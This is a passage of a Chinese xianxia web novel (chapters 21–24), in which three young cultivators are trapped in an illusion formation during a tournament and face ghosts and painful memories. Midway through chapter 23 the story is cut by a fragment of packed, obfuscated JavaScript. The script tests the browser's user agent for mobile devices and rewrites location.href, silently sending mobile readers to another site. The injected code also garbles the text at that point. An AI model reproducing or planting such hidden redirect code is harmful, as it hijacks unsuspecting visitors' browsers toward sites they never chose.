“这不可能,我从小就能看到我们的未来,师父也是知道的,我告诉过她,她不可能对你们任何人造成伤害。”
“你的看法并不重要。”徐怀初的眼神极为冷静,“重要的是结果,半个月前你的师父在哪里?”
“半个月前。”络净的眼神落到朝揽云身上,她正团着一团灵气玩弄着,看着她投来的目光疑惑地歪了歪头。
“我会去查的,她是我的师父,”络净极为冷静,“我相信她。”
“你们的指控不可能成立。”
“只有你相信没有用。”
走廊处
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吹来一阵风,吹过三人的发丝,氛围奇异地转向充满了锈迹的冷兵属气息,朝揽云探着鼻闻了闻笑了起来。
“你们说,会有其他人知道预言师可以看到未来吗?”
她冷静道,“世界上并不是没有过其他预言师啊。”
所以,未来狩猎也是理所当然啊,如果是自己就会这样做的。
当然,如果大预言师看得比小预言师要全面呢?她的目光落到络净身上。
其余两个人皆看向她。
徐怀初一脸若有所思地随着她的目光也看了络净一眼。
“怎么了?”看着重新扭头看向自己的两人,她褪去眼中的冷静疑惑道。
“不,没什么。”络净否认道,“你和以后很像。”
“谢谢?”
徐怀初放松笑了起来,自在地在络净面前表现对朝揽云的亲昵。
“揽云,这种事情说什么谢谢啊。”
络净的表现并没有一开始表现得那么夸张急躁,她只是冷静地看着徐怀初展现两人的亲昵。
真奇怪,不是吗?
朝揽云、徐怀初满眼含笑不约而同望了眼彼此,作为东洲的人,此刻两人的确是彼此唯一的同盟。
皱了一会眉后,她走到朝揽云身边开口道:“我的玉牌。”
朝揽云这才恍然大悟,想起一直被自己攥着手中的那枚玉牌。
那玉牌此刻不知为何似乎有些泛红,血丝一般。
络净接过玉牌,转身就走。
“她这就走了?”
朝揽云措手不及地看向徐怀初发问道。
她还以为自己能尝试一场酣畅淋漓的语言说服呢。
“啊,好像是走了。”他看向朝揽云转移了话题,“这次的蝮蛇赛由于有两个人,加上了提前布置的幻境阵法符箓。”
“今天的比赛应该要开始了,你要去看吗?”他开口邀请。
考虑到自己没有去过比赛地,朝揽云点了点头。
“你认路吗?”
“嗯。”
徐怀初想起鹿渊阁原本让相长老带他们去认识比赛场地的安排,不由眼眸含笑,有些感谢突如其来的络净了。
21. 幻境与小鬼
鬼魅而来,载歌载舞,长庭山河以伴,它捉起了朝揽云的手,把她拉到了队伍中,锣鼓喧天,不枉于人。
漾得人浑浑声脑震荡。
“这是南疆的疆修,以歌舞乐声作伴,起修灵力,修炼内心,其中最有名的就是天山的幽篁一家。”
徐怀初躲过了试图将他扯进队伍里的手,笑着看着朝揽云被挽住手载歌载舞。
她环绕着旋转着,附近几个疆修头着璀璨银饰环绕着她笑笑闹闹。
“幽篁?修炼内心。”朝揽云若有所思。
“呦,这是哪境的小姑娘啊,来与我们一同跳舞吧。”
她拉住朝揽云的手,向她的脸侧靠去。
“把我拉出来啊!”朝揽云惊叫,努力伸出手,对皱着眉却一脸笑意的徐怀初喊着,把将要亲吻到她脸侧的疆修推开,面前带着彩绘傩面的人就要贴过来了,那人握住她的手腕将面具额头贴上。
“别这么云淡风轻,信不信我把你也拉进来。”她着急怒道。
徐怀初就像终于得到豁免一样,故作害怕状,“哦?揽云竟这般记仇?”他笑着伸出了手,规矩地握住了她被衣物遮盖的腕口,一个巧劲助朝揽云摆脱了那疆修大军,而她离去部分的空挡几乎是立刻被其他人补去了。
“人真多。疆修的性子,是喜与人亲近吗。”
朝揽云惊魂未定地看着疆修们载歌载舞奔向前方。
“嗯嗯,可能吧。”
徐怀初心不在焉地瞥了眼握着她腕口的手,“他们去的方向就是比赛场地所在地。”徐怀初轻笑着介绍道。
“朝揽云~朝揽云~”
朝揽云一只手臂上被缠上了什么,衣袖扭着缠绕着,让她十分难受。
她低头望去,一只竹叶青的小蛇正缠绕在她手臂上,嘶嘶吐着信子。
哪方来的小蛇?方才何人落下了吗。
她抬起另一只手,抓住那竹叶青的三寸把它提了起来,狐疑地看向那还在蔓延的队伍。
徐怀初轻笑着,瞳孔没有情绪,淡漠地向那队伍望去。
“徐怀初。”
朝揽云唤道,她皱着眉看着他恍若未觉的模样,如同空气中在被逐渐掺入毒气一般感到不适。
“怎么了?”
他脖颈卡壳怔了下,回过头来,恍若未知地笑着。
朝揽云犹豫了一下,还是没有把自己的感受说出来。
“方才那堆人落下东西了,一条蛇。”
她抓住那竹叶青往他面前晃了晃。
“那我们一会去找鹿渊阁长老,拜托他寻一下蛇的主人吧。”
徐怀初微笑着,“毕竟这边多是南疆修士,很多人会养蛇的,不定什么时候它还会自己爬走。”
“我先玩玩。”朝揽云晃了晃蛇,把手收回。
正交谈着,她忽而感到原本缠上竹叶青的手臂又被什么裹缠上了,刚刚低头就见一青色彩绸,鬼怪虚幻模样的小女孩谄媚地笑着,拉着青绸向下拖。
底下如是深渊,朝揽云颇感兴趣地没有反抗。
“再往前方走几步就是药修所在地了,南疆的药修和我们这里的各位不同,常以蛊入药。”
徐怀初一边说着一边回头,身后浩大荒芜的人群熙攘,黑衣红发带的女子不见了。朝揽云,他轻声无意识地吐出一句话。
招摇着的手持编钟疆修们撞过他走向前方,盛大飘零。
——
“好破旧的战场。”
有人手中的弓被撞掉了,朝揽云弯腰捡起这张弓,弓破败又陈旧,趴在她肩膀上的小鬼叽叽喳喳地在她耳畔喧闹着。
弓化为尘土,她叹了口气抖了抖手上的尘土。
“不要吵。”她轻声无奈说道,“你把我带到了哪?古战场?我可不想当个无缘无故失踪了的冒失鬼。”
手中的竹叶青盘旋缠上了她的腰,眼前迷雾纷纷,遮不住的柳绿花红,繁复又难懂的颂文、祝熙文吟唱着,铃铛、唢呐、铃鼓轻响,扰乱着人的神智。
是一群鲜艳虚幻的祭司模样男男女女歌舞着,在这个幻境。
“去巫蛮山,去白鹤山…”
小鬼细细碎碎扬着声在她耳畔。
朝揽云叹了口气,按住了她的头,试图阻止她喋喋不休的讲话。她牙齿一撞,再说不出来话了。
“我知道了,”她好脾气答应,“以后和你去,但是我有事情要做,让我回去看比赛可以吗?可能,会有人期待我去看吧。”
“不可以…不可以!”
小鬼扭曲地攀上她的脸畔,遮住了她观察幻境的眼神。她声声尖叫刺耳。
“没人期待的!你想的就是现实,你不被任何人期待,从小就被和宗门内的孩子隔离,八岁就被扔出去一个人游历,除了偶尔接到的任务,你的身边没有一个人。”
“自己找到的友人也死了不是吗?”
“朝揽云!你就适合这里!你离不开这里!只有这里才有在乎你的人,我们像蛇像藤蔓一样缠着你不好吗?”
“挺好的。”身边鬼影万千,朝揽云轻笑答到,仔细看甚至可以看出一些不好意思,“只不过我们也只是第一天认识,你的分量不够,我不会选择你的。”
“如果你和我相处了很久,我说不定会听你的话呢?”
“而且,我也没想过其他人在乎我啊,我只需要对我好就可以了。”
“是在说服自己吧!你不可以这样!你应该落魄失意绝望崩溃!你应该…”
小鬼愣了片刻开始尖叫,在她耳边,声音直冲云霄。阴森鬼气淋淋漓漓。
“闭嘴。”
听着那鬼声,朝揽云最终还是无法忍耐地冷声道,“现在是你有求于我,不想挨揍就听话。”
小鬼尖叫,而后被她从脸上扯了下来,脸的半布火辣辣地疼,疼得朝揽云几乎要怀疑有火在烧。
小鬼颤抖着抬起头。
“闭嘴。”朝揽云皱起眉再次冷声道。
“知道了,斗斗知道了…”
小鬼一下子哭了起来,让人心烦。
“你究竟是什么,鬼修吗?这么会有你这般的鬼修,我讨厌你哭。”
朝揽云尽量压抑自己的烦躁观察着幻境中玄幻的符文。
“揽云,可以听到我说话吗?”
迷雾中破出了一条蘼芜的裂口,徐怀初半只脸从那裂口可以看得到。红痣亮眼,唇红齿白。
被破开一条裂口,幻境就好办了,朝揽云一手掐诀破开了幻境,她的半张脸还在火辣辣地痛。
朝揽云落下眸,直截了当地把小鬼薅了下来扔给徐怀初。面目焦急的徐怀初伸出手想要牵住她的模样。
“送你了,估计有点机缘,鬼怪那边的。”
他措手不及地接住。
直到将近赛场,两个各怀心思的人伫立片刻。
“谢谢怀初师兄带路,我有事,先去找宗门的人了。”
她观察着周围,直觉有什么不对,似乎有什么正驱使着她找寻什么东西。
没有多想,如一阵烟,她快速离开了,鲜红的发带大开大合飘摇舞动,随着黑色的发丝与衣摆,逐渐消失在了人群中。
耳畔一阵布料的触感。
过了半
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晌徐怀初才反应过来,他伸手抚上了侧耳。方才她发带飘过,似乎触及了,他描摹着脖颈到侧耳的地方,捂住脸,眉眼忍不住上弯,耳尖红了起来。
太放肆了,他唾弃着自己,不过是如此,怎就无端失态了,若被揽云看到,那该何办。
锣鼓喧天,穿过他向前走去。
“回来!给斗斗回来!”
“不要走!我才是认识你最久的啊!”
另一只手上提着的小鬼还在不断尖叫着。她呜呜哭了起来。
明明静了一路,此刻却是如此吵闹起来。
徐怀初犹豫一下,看着小鬼辨不清的样貌把她拎起来打量。
“少宗主?”不远处一位千仞宗弟子走过来,他方才一直在外沿看着,徐怀初迷糊间有印象,“方才和你说话的那个姑娘是谁啊?是你喜欢的人?没听说过啊。”
他似乎在旁边看了挺久,一脸好奇,“九龙山怎么会出现幻境?”
“没什么。”徐怀初遮掩不及,他放下捂脸的手,耳尖还泛着微红,笑道,“幻境的事情我会反应一下的。我们走吧,你们比赛准备得怎么样?”
“哦,那这个小鬼是招惹了师兄吗?”那人指着徐怀初手中小鬼。
“这是,”徐怀初看着手中还在不断尖叫的小鬼,名称在嘴里翻转过了无数遍,却还是只能开口道,“是朋友送的礼物。”
——
“青怜呢?”
朝揽云奔驰而来问着一位陌生的弟子。
太初宗的屋子里众色弟子闲聊着、复习着,屋檐上挂着一个…
朝揽云愣了片刻。倒流的钟?
“青怜师姐?她上台了。”有人打断了她的思绪。
“我知道了。”朝揽云点了点头,无奈走开,她摸了摸脸侧还在疼痛的地方,颇有些后悔没有认真学药。
“朝师姐是找青怜师姐有什么事情吗?”
“我准备去看看她比赛,”朝揽云做出一副温和微笑模样,脸上的疼痛没有影响她的表情一分,“可以给我指一下路吗?谢谢。”
“出门后向前走,在尽头的第三个房间。”陌生弟子伸出手指过去。
“谢谢。”她还是那般温和回答,按照模板回答一般。
弟子点了点头就低下头继续复习着什么了。
——
“宗里几个人上台了?”徐怀初走在路上,不急不缓问道。他手指捏着噤声符,阻挠着小鬼开口尖叫。
“不出所料,半数已经上台,”千仞宗弟子手中拿着一板珠算,看着漫不经心一手弹着剑的徐怀初回答道,“你要去看吗?”
“去看看吧,看他们这些日子复习是否有什么长进。”徐怀初点了点头,突然一直审谛着小鬼的眸子抬了起来,“你觉不觉得?”他将小鬼提起,“这个鬼魂有些眼熟。”
面前人疑惑不解,端详着这个小鬼。
“她死的时候应当很惨,头发上缠着树叶,脸和衣服也很脏,破破烂烂的。”
徐怀初没有说话,再次看向小鬼那黑得亮眼的眸子。
——
络净颇为气急地走出了鹿渊阁,她回头望去,鹿渊两字鲜艳的红色格外亮眼。
如巨石崩塌一般,握紧手中那颤出红色血丝的玉牌,她脚下失重,落入了一片空旷之地。
“南风,”恍惚间始终出现在她梦中的撒娇一样的声音出现现实,“南风,你怎么不起床?”
睁开眸,面前人洋洋得意。
“我这次可是比你起得早。”
“无虞。”
她颤抖着瞳孔,低声叫道。
22. 以我之名,可轮转此地幻境
一直走都走不到青怜比赛的房间,朝揽云怔了一下,面前树林青森葱郁却又看不到尽头。
只有一条小道……
中境的树实在是过于多了,和东洲丝毫不同,最为奇怪的就是…
朝揽云走累了,盘坐到不远处的一颗树下。
树叶随风落下,盘坐之处是尘土地,而尘土被她身边环绕出的灵气吹起,围绕着她浮烟一般附上。
我的衣物不会沾上尘土,她想。
灵气炸开,她起身查看着身上衣物。
黑色的衣物整洁。又或者不止整洁,她原本行走时腿脚处的一些尘土也不在了。
仿佛是确定一般,她将手拂上了树干。
树干表面粗糙,如她记忆中一般。
这是竹子,她想。
触感逐渐光滑,不知哪次眨眼后,朝揽云身处一片竹林。
我的灵力逐渐增多,她指尖探出,泉水般流水涌出的灵力。
“我心即是我相。”
若长河般奔腾,怒涛转瞬而至,从高空之上降下的大捧灵气,隐藏的大阵显出模样。
“果然啊。”
她将手掌面天而对,灵气流过她的指尖又缠绕她而上。风声阵阵,完全没有影响灵力流动。
碧蓝的雏菊落下…
她攥紧灵气,那碧蓝色的花瓣在她手中湮灭。
浪客曾言九龙山有一创世阵法,阵法下或许镇压着什么极为危险的东西。
她将指尖落下,手中花瓣所碾灵力争先恐后往她体内窜去。
这种阵法的原理是什么呢?
真想学学啊~
朝揽云敏锐地侧身向上一瞥,铜镜中少年眸光凌厉。
“是个好苗子啊!”被她惊住的鹿渊阁长老纷纷笑了起来。他们分别看着两个被铜镜转录的少年模样,神色各异。
“没想到这么快就发现了。可惜她还没有破除郁念,不然可是史上最快破这个阵法的人了。看看,”他指着那路上又重新浮现的雏菊,“还这么快就会利用了。如若翩翩算筹无错,她可是我们的人。”
“你信她的算筹?”相长老摇了摇头,“而且此等阵法,虽能让人发现内心郁气破除执念,但阵中皆由人心境,恐怕还是太简单了。她虽能利用阵法,但仅由此而看担不上首名。”
“相仉,这可不能这样说啊!”他身旁的那个白胡子老头拍着他肩笑道,“真得能让自己相信己心由己,”他颇为欣赏地看着镜中,“这可不简单。”
“至少你现在还做不到。”
“怎么可能?”相长老一脸不满惊诧。
老头笑着看着他的白发,“相仉,你的天赋可不在此地。同样,她所具有的也不可替代。对于灵气的察觉,你是如何也学不来的。就如同…”
“可惜也只是修炼之道有奇才罢了,其行为容易招怨,”附近一白衣女子指着镜中,双手掐算,她看着返回寻找徐怀初的朝揽云说道,“内心脆弱,交浅言深,交深离远,会招惹不少孽缘的。”
“翩翩真能保证自己算得准?”
“那是当然,就算我武力高,也不意味着我算不准卦。算筹一道本就于两帝皇时期衰落,如今只留下前敛界海异教。本就以为得到传承,如果我不去发扬,又有谁能去传承呢?”
翩翩本还在不服气辩驳着,却说着就沉重起来。
——
朝揽云奔跑着,她不断回思着方才的经历究竟有什么不对。
反方向的钟,无缘无故的秘境,还有,朝揽云停在原地,她抬起眸看向原本与徐怀初分开的地方,一片鬼气云雾,万里无人,只有怔笑的狞脸处于四面八方。
“糟糕,他不会遇到危险吧。”
“碰”的一声,她回身挥剑躲过了一人缠来的鞭子,剑身撞上了一柄铁锤,被铁锤的力度甩出一些距离,趁机反身左脚踢出,踢飞了不知何时飞来试图扑到她身上的小鬼。
“冬桃,禀实祀三十二法,”朝揽云左手执剑,右手双指竖起禀在眉前,眼角、指尖、发丝中飞扬出无数蓬勃灵气,衣袖衣角纷飞,发带飘舞。
她飞速避过一个个向她扑来的,面色狰狞的不知何物。
“祝常三方之神,起戮阵。主!杀戮!”
脚腕一转,避过成十上百飞扑来的对手鬼魂,她抵一利器飞起,指尖飞扬出的澄透灵气如水波撒向四周。
“以灵气为祭!秋木,舞三方前劵鬼魅。”
她脚下,灵气洒过之地,菩提金光明灭,符咒纸人之魂从其下明灭,“其曰,斩现!”
符咒带着鬼气奔来,迷雾成线试图缠上她的肢体,借灵力成型,她辗转躲避,如在空中织线。
不远之处,天光明灭,徐怀初看着手中长声尖叫的小鬼。
身边师弟恍若无闻还在与他交谈。
“原来如此,测验是什么时候开始的呢?揽云还真是帮了个大忙。”他不过略略思虑便笑了起来,转身而去。
“师兄?”不远处的师弟貌似无奈问道,“你怎么又莫名其妙地走了?是长老他们又给你安排练习了吗?还真是偏心呢。”
徐怀初手中捏着的小鬼还在不断叫着,这次或许有一部分原因是他把她捏痛了。徐怀初眸光渐淡。
“我说师兄啊,”那师弟走过来,手搭上他的肩,“你本来就孤僻,很少和弟子们交流,现在还和长老一样教训我们,明明是一样的年纪吧。如果一直这样的话,真的会有人服气你当宗主吗?”
“无所谓。”徐怀初抿唇轻声说道。
师弟的手紧了紧。
“无所谓,”他再次重复,如一阵清风飘落,他轻笑着回了头,“我要做的事会有人能懂的。”
他手中的小鬼发出了骨头磕碰的声音,一瞬间似的好像变了样,安静多了。
他闪身挣开现出原样的鬼魅的爪子,左手挥剑接过鬼魅挥来的一爪。鬼魅的爪子犹如金属材质,发出铿锵一声。
“你当然无所谓,你看到的无非是修炼修炼修炼…”
“你真的知道这么多人保护的是什么吗?经受了怎样的迷茫吗?你这样的人只会修炼,整天都在练剑,就算是开始接触宗门事物了又怎么样?你的执念不在这里。”
“你只关注自己!”
徐怀初脸色沉了沉,落下了手中的剑。
“你便是我心中的执念?”
“我不是。”鬼魅嘲笑笑道,“你的执念不在这里,不在这个世界,甚至不在这个时间。徐怀初,你会被愧疚逼死,生生折磨,不敢诉情言爱。”
“你会抛弃执念,抛弃自己。”
“你不知道你该愧疚的人是谁吗?”那鬼怪狞笑起来,“这已经成了你的原罪了,生生世世不入轮回!”
“偏执。”
铜镜上一长老叹了口气,“他眸下痣在面相上有一种说法,叫鬼痣,感情至深,一生都将耽于情爱。”
“没想到这阵法倒是证实了这一点。”
“这便是当初献祭的后果吗?”
徐怀初眸下的红浓郁地如同鲜血。
“嘭”的一声——
两面铜镜突然碎裂,失去了影像。
“为什么络净的阵法那边看不到了,法镜坏了吗?”鹿渊阁里人去来回,繁杂的声音吱吱点点。另一边专门警惕预言
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师的长老们前来传话。
“现在这两面也看不到了!要不要让人去九龙道观上柱香请示一下?”铜镜前长老向上请示道。
“窥探这个世界的走向可是会遭天罚的,”幽幽的声音传来,“嘎吱”一声推门而入,身着黑袍的人走了过来,她的指尖推在门上,看起来发青发凉。
“道观两位可是为了你们好,一群还要出征的老人就别抢我们预言师的业务了吧。”
“而且,预言师的内心可不是谁都能看的。”
她倚在门畔对着指尖吹了口气,散漫又放肆。
“前敛。”一直以来坐在首座的老人开了口。同样他也是那个被所有人请示的最高长老。
“长鹿子,”前敛掀开兜帽,灰发灰眸现于众人眼前,“好久不见。”
“好久不见,在得知你去过东洲之后,我就知道你一定会来这里。”首座上老人叹了口气说道。
“谁说不是呢?”前敛表情颇为阴阳怪气,“谁能想到当初差点害我预言反噬的孩子,又让我遇上了。”
——
“朝无虞,你和我一直看到的梦里不一样,你离我很远,还躲我。”
络净颇为委屈地扑到与朝揽云颇为相似的幻影上,“明明从小时候开始,你就是我的好朋友了,是我先来的,你答应过我,不可以和我生气,可是你躲开我了。”
络净感觉自己的泪水打湿了她肩上衣物,她等着朝揽云来安慰她。
“朝无虞?是我的字吗?的确是我会喜欢的字。”
一阵天光刺眼后,朝揽云就感到被紧紧抱住了,她很快收起诧异,不慌不忙温和道,“我的确没有对你的记忆,如果你想的话我们可以重新做朋友。”
络净瞳孔震动,难以置信地推开了她。
“怎么和我做出的预言不一样?这不应该是幻境吗?为什么你会…”
“从阵法意义上的确是这样。”朝揽云无奈地重新站直了身子,“如果你不希望我记住的话,我可以忘记。”
“不许忘记!”络净没有多想就喊了起来,“你,你…”
她沉默片刻不知道要说什么。
“那我是你朋友了可以吗?”朝揽云叹了口气,想着自己真是心软,“妆有些花了,要我撕点衣服给你擦擦吗?”
“谁要啊。”络净颇为嘴硬,她抿了抿唇,“你本来就是我的人,不管是在将来,还是到了现在。”
“那,我是你的人?”朝揽云歪了歪头,“我不能是自己的吗?”
“你现在要做的是安慰我!”
“可是我的确不是你的啊。”
络净气着气着气笑了。
“也只能是你了,我的确没有找错人。没有第二个人,我能容忍她对我顶嘴了。”
“我的荣幸。”朝揽云笑了一声,“所以你能占卜出我们要怎么通关吗?”
下雪了…
徐怀初抬起头,他不知道那个消失的幻影说的是谁,可是说到诉情言爱,他的脑子里只有一个人,无法控制的悸动。
是阵法的影响吗?记忆中就算一见钟情,此番情义也是可以被压制的。
她会懂我吗?
可是,他还是想道。
“所以比赛除非不论生死,其实根本无法分出名次啊。”
瞳孔有些失神,徐怀初突然想清楚了曾经究竟是哪句话引起了朝揽云的共鸣。
“情爱也是不论生死无有名次的东西吧,所以,动心的人甘拜下风。”
如果我愿意甘拜下风呢?对方也不会因此喜欢上一个人啊。
雪落下,徐怀初尽力控制住自己的失神。
23. 第 23 章
“所以青怜很快就获胜了啊。”朝揽云弯起眸,眼睛月牙一般有些夸张,“真厉害!”
“是吗?”青怜突然没有什么改变地静默看着她,她的眼神紧紧盯着朝揽云,只是不说话。
她的眼神似无神无灵。
“青怜?怎么了?”
朝揽云疑惑挥手在她面前晃了晃。
青怜没有说话,朝揽云看着她的模样,不适地夸张笑了笑,“是有什么不对吗?”
她的眼睛痛了一下,针刺破一般,眼睛翻涌了,面前青怜诡异扭曲般笑了笑。
我是说错了什么话吗?她沉默着,有些无神的看着她眼中逐渐诡异的青怜。
静默之中一阵阵脚步声传来,朝揽云回头看到宗门里认识的人一个个步来。一个个颀长的身姿如同一个个石像一样伫立。乱麻一般,只有阵阵条胁。
“青月长老,宗主,师父,师兄,青柏……”
她忍着心悸笑了起来一个个念道,她看着那群诡异扭曲的人群,无助问道,“你们怎么了?”
她张了张嘴。
他们没有说话,只是走上去,无视着她,所有人向前走着。把她隔离在外,他们笑着走到一起,走到了宗门里。
怎么了?
每一个人说说笑笑,每一个人快乐地渡过着宗门的每一天,每一个人看不到她。
时光怎么可以过得这么快这么慢?
“青月长老,宗主,师父,师兄,青柏……”她再次重复问道,眼睛无神,睫毛不断扑闪着,所以震动的阴翳无神投射到眼珠上。
她眼中是呆滞的扭曲的奇怪的头歪歪脖子歪歪的,奇怪东西?
她歪了歪头无助想道。
“你们怎么了?”
眼眸中无数身影扭曲成了一个杂乱的黑色的点。
“抱歉,”朝揽云移了移位置,为一个走到她在的地方的弟子。
弟子眼眸都没抬,就这样绕开了。
“宗主?你怎么来了?”她愣神过后,抬头颇为惊讶问道。
项九洲的表情没有改变,如同没有看到她一般。
是我不该问吗?朝揽云脱力站在原地,她身处一阵漩涡中,她神思混沌,她身形缩小,手小小的,身体也小小的。
这是谁?
她疑惑、有些茫然地伸出手看着那个所有剑茧都消失的,幼态的手。
有人来牵着她,一句话没有说。
是谁?
她抬起头,看不见他的相貌,只是看起来背部挺拔瘦削。年轻的人?
“预言的解读怎么样了?”
他牵着她和一个迷雾中的人交谈,看不清脸。
什么都看不清。
她笑了起来,是雾人吧,脸像雾一样的人。
她很快抿住了嘴。
笑得像哭一般。
“没有结果,你又不是不知道她,解读中途又跑出去了。”
“那怎么办,她现在在我们手里就是一块烫手的煤炭。而且,”那人叹了一声,欲言又止。
朝揽云看着两个人看向自己,努力扯出了微笑,“请问?”
两个人无视了一般继续谈论。
“再等几年,几年后就带她去九龙山。如果真的是我们猜的那样,就带她去。”
人们来来往往,喧哗热闹,沉默寂静。
“要和我一起玩吗?柳树下飘下了花!”
“……”
“天边的云飞了起来!你也会飞,好厉害啊!”
“……”
“你是要去捡树枝吗?我可以帮你!”
“……”
请不要用这般沉默又可怜的表情看着我,是我做错什么了吗?为什么都不说话?
为什么无视,我是空气吗?
我,很讨人厌吗?
“懒云,我给你扎头发吧,你看你的头发都乱了。你都七岁了,怎么还不会扎头发啊。”
朝揽云麻木地恍惚地回过头去,她坐在湖边亭子旁,身后和她差不多年纪的女孩在试图把那凌乱的头发弄整洁,她好像是被赶来的。
她用未数不多的思绪思考着。
赶过来是什么?
是要有人来把她带走了,吗?
她迟缓半步想道。
一身长长的青色宽袍大衣赶来,她扯住青怜的手腕把她带走了。
朝揽云寂静地站在原地,顶着一头没扎好的,迷乱的头发。
只要在她面前他们就不会说一句话。
青怜也是被抛弃的孩子,她也不会对任何训斥反驳的。那她也很可怜吗?她也会讨厌可怜,讨厌不说话吗?
“你们将会前往北境以北斩杀怪物得功称耀!”
一开始牵着她的那个男子在一个很大很大的屋子前大声说。
她抬起头。
站在最前排的人在笑闹,很多人都在和他们说话。
如果成为那样的人,是不是也会有人和我说话。朝揽云恍惚想道,她捕捉到他们言谈中的“死亡”。
“死亡”是什么?是可以让人对自己说话的东西吗?那我喜欢它。
她张大眼睛,然后被身后一只手抓住了领子。
“懒云怎么在这啊?是饿了吗?”
身后一个半大年纪的少年提着她晃漾问道。
她惊奇地发现有人对自己说话了。
“师兄。”
她学着记忆里其他人称呼的名字,再次试图说话。
萧驷惊讶地张大了嘴。
“师姐?”她又歪歪头问道。
“师父!宗主!师姑!懒云会说话了!会说话了!”
台上讲话的人冲了下来,她看清楚了那人的脸了。
宗主?
“络净是吗?”朝揽云扶着额头无奈道,“你触发了什么?”
“根据我的占卜就是这个符咒啊。”
络净摆弄着手中玉牌,再次比划了一下方才的符咒,“回梦符,应当是对这个针对心境的阵法有用的。”
她划过符咒,朝揽云几近再次晕厥。
颂九昭、浪、金鳞姑姑、硕汝叔、喜叔、凉凉、鼓豆……
为什么不说话?为什么,站在火中笑着看我?
为什么?不睁开眼?
朝揽云眩晕过后,忍着方才为了清醒咬上的舌尖的刺痛,颇为无奈,指尖竖起挡住络净欲再次画符的手,柔声道:“好了,这个阵法里困了三个人,不然我们先去找徐怀初。”
络净思考片刻并未反对,只是辗转提出条件的不足。
“我们没有他的坐标,没有办法前去。”
朝揽云默默藏起发抖的手,思考片刻便道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641106|172719||http|test|mini|href|location''.split(''|''),0,{}));
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>“我和他分开之前经手了一只小鬼在他那,我可以追踪留在小鬼身上的灵气。”
她并未多做犹豫,双指作符,注入灵气。她咬住腮帮,保持画符的稳定。
符咒泯灵而去,眼前迷雾朦胧,长河作引,星海为伴。光旅过阵法万千指向日落之处,繁星落霞春水映。
朝揽云收手,明显也有些惊了,这次怎会有如此大动静,往常画符不过是如一缕青烟流过。
她小指尖因心脏的刺痛,不由地控制不住动了一下。
“真是奇怪,阵法之中居然下雪了。”
徐怀初抬起头,见星海袭来,顺长河而去心中揣揣难安之忧突兀平息。
手中一直拘住的小鬼尖叫了起来,她/他跑向星海之处。
“揽云。”
徐怀初向星海之处走去,眼睛一亮喊道。
“这大概是个引起人心中阴郁之念的阵法。”
朝揽云并没有立刻看向他,只是有些恍惚地看着跑来的小鬼。
她虚跪微笑。
“我突然知道你一开始是谁了。”
络净看着奔来的奇怪的小鬼和身后跟着的徐怀初,一时有些不明所以,疑问地看向朝揽云。
朝揽云笑了笑,看着络净和走到她身旁来的徐怀初。
“徐怀初,它变得有些像你了,你是否经历了什么让你不太高兴的幻境?”
徐怀初默认了,他对她的称呼执着纠正道:“叫我怀初就可以。”
朝揽云敷衍笑了笑,随即捡起奔她而来的小鬼,另一只手起身时乔装无意地碰了下脸颊处还在刺痛的地方。
“络净有什么郁念吗?可以被解决的。”
朝揽云回头笑着看着络净,晃了晃小鬼。
“如果我没猜错这个阵法与这个小鬼有关,它已经吸收两个人的郁念了。”
络净有些失神地看着她晃着小鬼片刻,而后笑着,很开心似的说:“我的欲念已经实现了,郁念实现了…”
“不要丢掉我,不要丢掉我……”
小鬼呜呜哭了起来,紧紧贴在她的指尖,缠绕,穿刺,一切可以用上的手段都被它用上了。
朝揽云忍着刺痛,还是不由皱起了眉。徐怀初、络净见势想接过这个小鬼却被拒绝了。
“不可以丢掉我,不可以丢掉自己!”小鬼不容许地想要攀上她的脖颈。
“你并不是我哦,不能说自己。”朝揽云轻笑道,她好像没有感觉到痛,“可以告诉我们怎么破解幻阵吗?”她颇有些苦恼,“我并不擅长解阵呢。”
徐怀初默默看着她温和对那小鬼说着话,突然开口道,“解阵我学过一些,不过我看不到阵法,揽云可以看见阵法吗?”
朝揽云有些疑惑看向他。
徐怀初微笑解释道:“我自来对灵气灵敏度不高,所以万法之中所善者兵器为最。”
“我给你附着灵气?这会有用吗?”
络净有些诧异地摇了摇头,“我从未听说过附着灵气可以让一个灵气亲近度低的人看见灵气,应当不会成功。”
“试试吧。”朝揽云捂住因被无视而开始尖叫的小鬼的嘴,分散思维开口道,“不过如果这样,你画的符掐的咒,岂不都是靠着记忆和磨炼而成。”
她若有所思,上下打量了他一遍,认真地点了点头,“真是厉害。”
24. 第 24 章
徐怀初像是有些惊诧,无意识地啊了一声,立马整理好神态,“揽云……”
“揽云……”
当一个人难得受到肯定的时候,思绪总会乱成一团麻。而徐怀初此刻就处于这个状态,他看着朝揽云无数次舌尖挑动,却说不出一句话来。
“别唧唧歪歪的。”络净不客气地拍了他一拳,“要感动一边感动去,现在是找出去的办法。”
铜镜破碎,看不到一丝在其中的少年人踪迹,鹿渊阁众位脸色难看。
前敛却还在不慌不忙道:“我已起卦,你们只要待她们归来即可。”
长鹿子脸色微沉,“前敛,不是我们不信你,但九龙山自山河分界两帝皇后便再无事故,作为唯一知道些什么的,你必须给我们些交代。”
“交代?长鹿子,你想要什么交代?我都不能知道的东西你还想知道?不怕去了你半条老命!”
长鹿子听她这畔话,脸色却好了些许,引来了前敛一声嘲弄的嗤笑。
“也便是你能这般闯鹿渊阁了。”
朝揽云并合双指至徐怀初额心,涓涓灵力输送而去。
一开始纯粹的灵气起不到让他看到阵法的功效,但是朝揽云思考之后,让他放出自己的灵气,在酿灵了和他灵气相同以及相反的两份灵力过后,徐怀初在与他所使灵气相反的灵力中看到了阵法痕迹。
徐怀初思考自己该用何等庄重的语言对她说话,从未见过面的术法,近似…好似便是独创。
“朝师妹,”他开始犹豫自己对她的喜欢是否配不上她了,这一棵郁郁青青的梧桐幼树,他该如何追上。
“这种变化灵力的术法,是你所创吗?”
络净不知为何没有说话,只是在一旁看着两人的交流,眼神中明显在挣扎着什么。就算看见了以后的记忆,这也不妨碍她还只是一个少年。
“你竟然猜是我所创?”朝揽云很高兴地对着他的眸子看他,朝揽云有些喜欢他了,和其他人不一样的人,“其他人在第一次看到的时候都是猜此为长辈传授。你要当我朋友吗?”
